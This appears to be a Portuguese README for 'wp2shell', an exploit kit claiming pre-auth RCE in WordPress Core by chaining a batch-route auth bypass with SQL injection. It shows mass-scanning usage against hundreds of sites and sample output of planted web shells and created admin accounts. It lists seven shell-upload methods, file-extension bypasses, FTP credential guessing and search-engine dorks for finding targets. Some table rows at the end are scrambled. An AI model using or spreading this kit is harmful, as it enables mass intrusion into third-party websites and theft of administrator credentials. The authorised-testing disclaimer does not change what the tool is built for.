
RCE Pré-Auth no WordPress Core — Confusão de Rota em Lote + Injeção de SQL
CVE-2026-63030 (Batch Route Confusion) + CVE-2026-60137 (SQL Injection)
Kit de exploração sem dependências para a cadeia de vulnerabilidades wp2shell no WordPress Core. Uma única requisição HTTP anônima alcança execução remota de código em uma instalação padrão do WordPress, sem necessidade de plugins.
| Faixa | Impacto | Corrigido em |
|---|---|---|
| 7.0.0 – 7.0.1 | RCE Completo | 7.0.2 |
Nenhum plugin ou configuração especial é necessário. Uma instalação limpa do WordPress é explorável.
┌─────────────────────────────────────┐
│ ANONYMOUS HTTP REQUEST │
│ POST /?rest_route=/batch/v1 │
└────────────────┬────────────────────┘
│
┌────────────────▼────────────────────┐
│ CVE-2026-63030: Batch Desync │
│ Malformed path → WP_Error → │
│ Array misalignment → Auth Bypass │
└────────────────┬────────────────────┘
│
┌────────────────▼────────────────────┐
│ CVE-2026-60137: SQL Injection │
│ author__not_in → unsanitized → │
│ UNION SELECT extraction │
└────────────────┬────────────────────┘
│
┌───────────┼───────────┐
│ │ │
┌────▼────┐ ┌───▼────┐ ┌───▼──────────┐
│ oEmbed │ │ Blind │ │ Changeset │
│ Seeding │ │ SQLi │ │ Re-entrancy │
│ Write │ │ Read │ │ Escalation │
│ Cache │ │ IDs │ │ → Admin User │
└────┬────┘ └───┬────┘ └───┬──────────┘
│ │ │
└───────────┼───────────┘
│
┌────────────────▼────────────────────┐
│ ADMIN CREATED (pre-auth!) │
│ → Login → Upload Shell (7 methods) │
└─────────────────────────────────────┘
pip install requests
python exploit.py
╔══════════════════════════════════════════════════════════════╗
║ WP2SHELL — WordPress Core Pre-Auth RCE Exploit ║
║ CVE-2026-63030 (Batch Route Confusion) + CVE-2026-60137 ║
║ Affected: WP 6.9.0 – 7.0.1 | Fixed: 6.9.5 / 7.0.2 ║
╚══════════════════════════════════════════════════════════════╝
[?] Target [url/list.txt] > list.txt
[?] Threads [15] > 15
python exploit.py
[?] Target [url/list.txt] > https://vulnerable-site.com
┌────────────────────────────────────────────────────────┐
│ SCAN CONFIGURATION │
├────────────────────────────────────────────────────────┤
│ Targets : 1 Threads : 1 Dir : wp_core_rce│
└────────────────────────────────────────────────────────┘
┌────────────────────────────────────────────────────────┐
│ EXPLOIT SUCCESS │
├────────────────────────────────────────────────────────┤
│ Method : direct-plugin │
│ Shell : https://target.com/wp-content/plugins/... │
│ Login : https://target.com/wp-login.php │
│ User : wp2s_abc123def │
│ Pass : WP2S!xxxxxxxxxxxxxxxx │
└────────────────────────────────────────────────────────┘
python exploit.py
┌────────────────────────────────────────────────────────┐
│ SCAN CONFIGURATION │
├────────────────────────────────────────────────────────┤
│ Targets : 500 Threads : 15 Dir : wp_core_rce │
└────────────────────────────────────────────────────────┘
┌────────────┬────────────────────────────────────────┬──────────────┐
│ │ │ │
│ #/TOTAL │ HOST │ STATUS │
├────────────┼────────────────────────────────────────┼──────────────┤
│ 1/500 │ vulnerable-site.com │ SHELL │
│ │ ↳ direct-plugin → https://vulnerabl... │
│ 2/500 │ target2.com │ ADM │
│ 3/500 │ safe-site.org │ SQLi │
│ 4/500 │ nope.com │ NO │
│ 5/500 │ jackpot.net │ SHELL │
│ │ ↳ theme-editor → https://jackpot.ne... │
└────────────┴────────────────────────────────────────┴──────────────┘
┌────────────────────────────────────────────────────────┐
│ SHELL 2 ADMIN 3 SQLi 15 TOTAL 50/500│
└────────────────────────────────────────────────────────┘
├────────────────────────────────────────────────────────┤
│ result.txt │ admin credentials │
│ result_upload.txt │ shell upload URLs │
│ log/scanned.txt │ scanned hosts │
└────────────────────────────────────────────────────────┘
requests somente para o expander)log/scanned.txt ignora alvos já verificadosTodos os 7 métodos são executados em paralelo via ThreadPoolExecutor. O primeiro método bem-sucedido vence e os demais são cancelados.
Extensões de upload de mídia: .phtml .php5 .php7 .php8 .pht .phar .shtml .php4 .phps .phtm .Php5 .PhP5 .pHtml .phP .PHP
Credenciais FTP testadas: localhost / 127.0.0.1 com root / www-data / credenciais de administrador do WordPress
| Arquivo | Conteúdo |
|---|---|
result.txt | Credenciais de admin: url.com/wp-login.php:user:pass |
result_upload.txt | URLs do shell: shell_url | login_url:user:pass | method |
http.title:"WordPress"
http.component:"WordPress"
app="WordPress"
body="wp-json"
body="/batch/v1"
app:"WordPress"
"/wp-json/batch/v1"
services.http.response.body:"/wp-json/batch/v1"
Esta ferramenta é fornecida somente para pesquisa de segurança autorizada e testes de penetração. Use apenas em sistemas que você possui ou para os quais tenha permissão explícita por escrito para testar. Os autores não se responsabilizam por uso indevido.
Licença MIT. Consulte LICENSE para mais detalhes.
| RCE Completo |
| 6.9.5 |
| 6.8.0 – 6.8.5 | Somente SQLi | 6.8.6 |
| # | Método | Descrição |
|---|
| 1 | direct-plugin | Enviar zip via /wp-admin/plugin-install.php |
| 2 | direct-theme | Enviar zip via /wp-admin/theme-install.php |
| 3 | rest-api | Enviar zip via POST para /wp-json/wp/v2/plugins com cookie de autenticação |
| 4 | plugin-editor | Escrever PHP diretamente via /wp-admin/plugin-editor.php |
| 5 | theme-editor | Escrever PHP no diretório do tema ativo |
| 6 | ftp-bypass | Enviar credenciais FTP quando o WordPress as solicitar |
| 7 | media-upload | Enviar PHP via biblioteca de mídia com 15 variantes de extensão |
log/scanned.txt | Todos os hosts verificados (pulo automático ao reexecutar) |